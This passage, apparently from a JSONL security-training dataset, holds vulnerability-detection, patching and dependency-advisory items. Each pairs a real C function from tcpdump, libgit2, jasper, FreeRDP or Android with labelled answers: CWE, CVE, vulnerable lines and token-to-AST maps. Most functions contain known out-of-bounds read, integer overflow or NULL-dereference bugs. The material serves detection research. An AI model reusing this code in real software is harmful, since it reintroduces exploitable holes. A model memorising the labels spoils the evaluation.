i++)\n\t\t\t\t\tND_PRINT((ndo, \"%02x\", *(option + 2 + i)));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 39:\n\t\t\tif (optlen > 2) {\n\t\t\t\tND_PRINT((ndo, \" 0x\"));\n\t\t\t\tfor (i = 0; i < optlen - 2; i++)\n\t\t\t\t\tND_PRINT((ndo, \"%02x\", *(option + 2 + i)));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 40:\n\t\t\tif (optlen > 2) {\n\t\t\t\tND_PRINT((ndo, \" 0x\"));\n\t\t\t\tfor (i = 0; i < optlen - 2; i++)\n\t\t\t\t\tND_PRINT((ndo, \"%02x\", *(option + 2 + i)));\n \t\t\t}\n \t\t\tbreak;\n \t\tcase 41:\n\t\t\tif (optlen == 4)\n \t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_32BITS(option + 2)));\n \t\t\telse\n\t\t\t\tND_PRINT((ndo, \" optlen != 4\"));\n \t\t\tbreak;\n \t\tcase 42:\n\t\t\tif (optlen == 4)\n \t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_32BITS(option + 2)));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo, \" optlen != 4\"));\n \t\t\tbreak;\n \t\tcase 43:\n \t\t\tif (optlen == 6)\n \t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_32BITS(option + 2)));\n \t\t\telse if (optlen == 4)\n \t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_16BITS(option + 2)));\n \t\t\telse\n\t\t\t\tND_PRINT((ndo, \" optlen != 4 or 6\"));\n \t\t\tbreak;\n \t\tcase 44:\n \t\t\tif (optlen > 2) {\n\t\t\t\tND_PRINT((ndo, \" \"));\n\t\t\t\tfor (i = 0; i < optlen - 2; i++)\n\t\t\t\t\tND_PRINT((ndo, \"%02x\", *(option + 2 + i)));\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn optlen;\ntrunc:\n\tND_PRINT((ndo, \"%s\", tstr));\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-16229\",\n \"project\": \"tcpdump\",\n \"vulnerable_lines\": [\n 94,\n 97,\n 100,\n 102,\n 103,\n 111\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 32,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 32,\n \"col\": 4\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 32,\n \"col\": 5\n },\n {\n \"token\": \"option\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 6\n },\n {\n \"token\": \">=\",\n \"ast_node\": \">=\",\n \"line\": 32,\n \"col\": 13\n },\n {\n \"token\": \"128\",\n \"ast_node\": \"number_literal\",\n \"line\": 32,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 32,\n \"col\": 19\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 32,\n \"col\": 21\n },\n {\n \"token\": \"ND_PRINT\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 33,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 33,\n \"col\": 11\n },\n {\n \"token\": \"ndo\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 12\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 33,\n \"col\": 15\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 33,\n \"col\": 17\n },\n {\n \"token\": \"CCID option %d\",\n \"ast_node\": \"string_content\",\n \"line\": 33,\n \"col\": 18\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 33,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 33,\n \"col\": 33\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 33,\n \"col\": 35\n },\n {\n \"token\": \"option\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 33,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 33,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 33,\n \"col\": 44\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 34,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 9\n },\n {\n \"token\": \"optlen\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 16\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 34,\n \"col\": 18\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 35,\n \"col\": 3\n },\n {\n \"token\": \"4\",\n \"ast_node\": \"number_literal\",\n \"line\": 35,\n \"col\": 8\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 35,\n \"col\": 9\n },\n {\n \"token\": \"ND_PRINT\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 13\n },\n {\n \"token\": \"ndo\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 36,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 36,\n \"col\": 19\n },\n {\n \"token\": \" %u\",\n \"ast_node\": \"string_content\",\n \"line\": 36,\n \"col\": 20\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 36,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 36,\n \"col\": 24\n },\n {\n \"token\": \"EXTRACT_16BITS\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 40\n },\n {\n \"token\": \"option\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 41\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 36,\n \"col\": 48\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 36,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 51\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 53\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 36,\n \"col\": 54\n },\n {\n \"token\": \"break\",\n \"ast_node\": \"break\",\n \"line\": 37,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 37,\n \"col\": 9\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 38,\n \"col\": 3\n },\n {\n \"token\": \"6\",\n \"ast_node\": \"number_literal\",\n \"line\": 38,\n \"col\": 8\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 38,\n \"col\": 9\n },\n {\n \"token\": \"ND_PRINT\",\n \"ast_node\": \"identifier\",\n \"line\": 39,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 39,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 39,\n \"col\": 13\n },\n {\n \"token\": \"ndo\",\n \"ast_node\": \"identifier\",\n \"line\": 39,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 39,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 39,\n \"col\": 19\n },\n {\n \"token\": \" %u\",\n \"ast_node\": \"string_content\",\n \"line\": 39,\n \"col\": 20\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int jpc_ppt_putparms(jpc_ms_t *ms, jpc_cstate_t *cstate, jas_stream_t *out)\n{\n\tjpc_ppt_t *ppt = &ms->parms.ppt;\n\n\t/* Eliminate compiler warning about unused variable. */\n\tcstate = 0;\n\n\tif (jpc_putuint8(out, ppt->ind)) {\n\t\treturn -1;\n\t}\n\tif (jas_stream_write(out, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {\n\t\treturn -1;\n\t}\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ng_pkt(git_pkt **out, const char *line, size_t len)\n{\n\tgit_pkt_ng *pkt;\n\tconst char *ptr;\n\tsize_t alloclen;\n\n\tpkt = git__malloc(sizeof(*pkt));\n\tGITERR_CHECK_ALLOC(pkt);\n\n \tpkt->ref = NULL;\n \tpkt->type = GIT_PKT_NG;\n \n \tline += 3; /* skip \"ng \" */\n\tif (!(ptr = strchr(line, ' ')))\n \t\tgoto out_err;\n \tlen = ptr - line;\n \n\tGITERR_CHECK_ALLOC_ADD(&alloclen, len, 1);\n\tpkt->ref = git__malloc(alloclen);\n\tGITERR_CHECK_ALLOC(pkt->ref);\n\n \tmemcpy(pkt->ref, line, len);\n \tpkt->ref[len] = '\\0';\n \n \tline = ptr + 1;\n\tif (!(ptr = strchr(line, '\\n')))\n \t\tgoto out_err;\n \tlen = ptr - line;\n \n\tGITERR_CHECK_ALLOC_ADD(&alloclen, len, 1);\n\tpkt->msg = git__malloc(alloclen);\n\tGITERR_CHECK_ALLOC(pkt->msg);\n\n\tmemcpy(pkt->msg, line, len);\n\tpkt->msg[len] = '\\0';\n\n\t*out = (git_pkt *)pkt;\n\treturn 0;\n\nout_err:\n\tgiterr_set(GITERR_NET, \"invalid packet line\");\n\tgit__free(pkt->ref);\n\tgit__free(pkt);\n\treturn -1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-15501\",\n \"project\": \"libgit2\",\n \"vulnerable_lines\": [\n 14,\n 26\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"ng_pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"git_pkt\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"line\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"git_pkt_ng\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"alloclen\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"git__malloc\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \"GITERR_CHECK_ALLOC\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"ref\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 17\n },\n {\n \"token\": \"pkt\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 12\n },\n {\n \"token\": \"GIT_PKT_NG\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \"line\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 13,\n \"col\": 7\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void jpc_qmfb_join_colgrp(jpc_fix_t *a, int numrows, int stride,\n int parity)\n{\n\n\tint bufsize = JPC_CEILDIVPOW2(numrows, 1);\n\tjpc_fix_t joinbuf[QMFB_JOINBUFSIZE * JPC_QMFB_COLGRPSIZE];\n\tjpc_fix_t *buf = joinbuf;\n\tjpc_fix_t *srcptr;\n\tjpc_fix_t *dstptr;\n\tregister jpc_fix_t *srcptr2;\n\tregister jpc_fix_t *dstptr2;\n\tregister int n;\n\tregister int i;\n\tint hstartcol;\n\n\t/* Allocate memory for the join buffer from the heap. */\n\tif (bufsize > QMFB_JOINBUFSIZE) {\n\t\tif (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {\n\t\t\t/* We have no choice but to commit suicide. */\n\t\t\tabort();\n\t\t}\n\t}\n\n\thstartcol = (numrows + 1 - parity) >> 1;\n\n\t/* Save the samples from the lowpass channel. */\n\tn = hstartcol;\n\tsrcptr = &a[0];\n\tdstptr = buf;\n\twhile (n-- > 0) {\n\t\tdstptr2 = dstptr;\n\t\tsrcptr2 = srcptr;\n\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t*dstptr2 = *srcptr2;\n\t\t\t++dstptr2;\n\t\t\t++srcptr2;\n\t\t}\n\t\tsrcptr += stride;\n\t\tdstptr += JPC_QMFB_COLGRPSIZE;\n\t}\n\t/* Copy the samples from the highpass channel into place. */\n\tsrcptr = &a[hstartcol * stride];\n\tdstptr = &a[(1 - parity) * stride];\n\tn = numrows - hstartcol;\n\twhile (n-- > 0) {\n\t\tdstptr2 = dstptr;\n\t\tsrcptr2 = srcptr;\n\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t*dstptr2 = *srcptr2;\n\t\t\t++dstptr2;\n\t\t\t++srcptr2;\n\t\t}\n\t\tdstptr += 2 * stride;\n\t\tsrcptr += stride;\n\t}\n\t/* Copy the samples from the lowpass channel into place. */\n\tsrcptr = buf;\n\tdstptr = &a[parity * stride];\n\tn = hstartcol;\n\twhile (n-- > 0) {\n\t\tdstptr2 = dstptr;\n\t\tsrcptr2 = srcptr;\n\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t*dstptr2 = *srcptr2;\n\t\t\t++dstptr2;\n\t\t\t++srcptr2;\n\t\t}\n\t\tdstptr += 2 * stride;\n\t\tsrcptr += JPC_QMFB_COLGRPSIZE;\n\t}\n\n\t/* If the join buffer was allocated on the heap, free this memory. */\n\tif (buf != joinbuf) {\n\t\tjas_free(buf);\n\t}\n\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-476). Produce the patched version and explain the fix. Output JSON.", "input": "BOOL transport_accept_nla(rdpTransport* transport)\n{\n\tfreerdp* instance;\n\trdpSettings* settings;\n\n\tif (transport->TlsIn == NULL)\n\t\ttransport->TlsIn = tls_new(transport->settings);\n\n\tif (transport->TlsOut == NULL)\n\t\ttransport->TlsOut = transport->TlsIn;\n\n\ttransport->layer = TRANSPORT_LAYER_TLS;\n\ttransport->TlsIn->sockfd = transport->TcpIn->sockfd;\n\n\tif (tls_accept(transport->TlsIn, transport->settings->CertificateFile, transport->settings->PrivateKeyFile) != TRUE)\n\t\treturn FALSE;\n\n\t/* Network Level Authentication */\n\n\tif (transport->settings->Authentication != TRUE)\n\t\treturn TRUE;\n\n\tsettings = transport->settings;\n\tinstance = (freerdp*) settings->instance;\n\n\tif (transport->credssp == NULL)\n\t\ttransport->credssp = credssp_new(instance, transport, settings);\n\n\tif (credssp_authenticate(transport->credssp) < 0)\n \t{\n \t\tfprintf(stderr, \"client authentication failure\\n\");\n \t\tcredssp_free(transport->credssp);\n \t\treturn FALSE;\n \t}\n \n\t/* don't free credssp module yet, we need to copy the credentials from it first */\n\n\treturn TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"cve\": \"CVE-2013-4119\",\n \"fixed_code\": \"BOOL transport_accept_nla(rdpTransport* transport)\\n{\\n\\tfreerdp* instance;\\n\\trdpSettings* settings;\\n\\n\\tif (transport->TlsIn == NULL)\\n\\t\\ttransport->TlsIn = tls_new(transport->settings);\\n\\n\\tif (transport->TlsOut == NULL)\\n\\t\\ttransport->TlsOut = transport->TlsIn;\\n\\n\\ttransport->layer = TRANSPORT_LAYER_TLS;\\n\\ttransport->TlsIn->sockfd = transport->TcpIn->sockfd;\\n\\n\\tif (tls_accept(transport->TlsIn, transport->settings->CertificateFile, transport->settings->PrivateKeyFile) != TRUE)\\n\\t\\treturn FALSE;\\n\\n\\t/* Network Level Authentication */\\n\\n\\tif (transport->settings->Authentication != TRUE)\\n\\t\\treturn TRUE;\\n\\n\\tsettings = transport->settings;\\n\\tinstance = (freerdp*) settings->instance;\\n\\n\\tif (transport->credssp == NULL)\\n\\t\\ttransport->credssp = credssp_new(instance, transport, settings);\\n\\n\\tif (credssp_authenticate(transport->credssp) < 0)\\n \\t{\\n \\t\\tfprintf(stderr, \\\"client authentication failure\\\\n\\\");\\n \\t\\tcredssp_free(transport->credssp);\\n\\t\\ttransport->credssp = NULL;\\n \\t\\treturn FALSE;\\n \\t}\\n \\n\\t/* don't free credssp module yet, we need to copy the credentials from it first */\\n\\n\\treturn TRUE;\\n}\\n\",\n \"change_summary\": \"nla: invalidate sec handle after creation\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: 2.10.0\nSummary: Out of bounds segmentation fault due to unequal op inputs in Tensorflow", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3251\",\n \"cve\": \"CVE-2022-41883\",\n \"aliases\": [\n \"BIT-tensorflow-2022-41883\",\n \"CVE-2022-41883\",\n \"GHSA-w58w-79xv-6vcj\",\n \"PYSEC-2026-1042\",\n \"PYSEC-2026-3376\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=2.10.0, <2.10.1\",\n \"fixed_version\": \"2.10.1\",\n \"finding\": \"Out of bounds segmentation fault due to unequal op inputs in Tensorflow\",\n \"remediation\": \"Upgrade tensorflow to 2.10.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "AMediaCodecCryptoInfo *AMediaCodecCryptoInfo_new(\n int numsubsamples,\n uint8_t key[16],\n uint8_t iv[16],\n cryptoinfo_mode_t mode,\n size_t *clearbytes,\n\n size_t *encryptedbytes) {\n \n size_t cryptosize = sizeof(AMediaCodecCryptoInfo) + sizeof(size_t) * numsubsamples * 2;\n AMediaCodecCryptoInfo *ret = (AMediaCodecCryptoInfo*) malloc(cryptosize);\n if (!ret) {\n ALOGE(\"couldn't allocate %zu bytes\", cryptosize);\n return NULL;\n }\n ret->numsubsamples = numsubsamples;\n memcpy(ret->key, key, 16);\n memcpy(ret->iv, iv, 16);\n ret->mode = mode;\n ret->pattern.encryptBlocks = 0;\n ret->pattern.skipBlocks = 0;\n\n ret->clearbytes = (size_t*) (ret + 1); // point immediately after the struct\n ret->encryptedbytes = ret->clearbytes + numsubsamples; // point after the clear sizes\n\n memcpy(ret->clearbytes, clearbytes, numsubsamples * sizeof(size_t));\n memcpy(ret->encryptedbytes, encryptedbytes, numsubsamples * sizeof(size_t));\n\n return ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-9491\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 10\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"AMediaCodecCryptoInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"AMediaCodecCryptoInfo_new\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"numsubsamples\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 5\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"16\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"iv\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"16\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"cryptoinfo_mode_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 1\n },\n 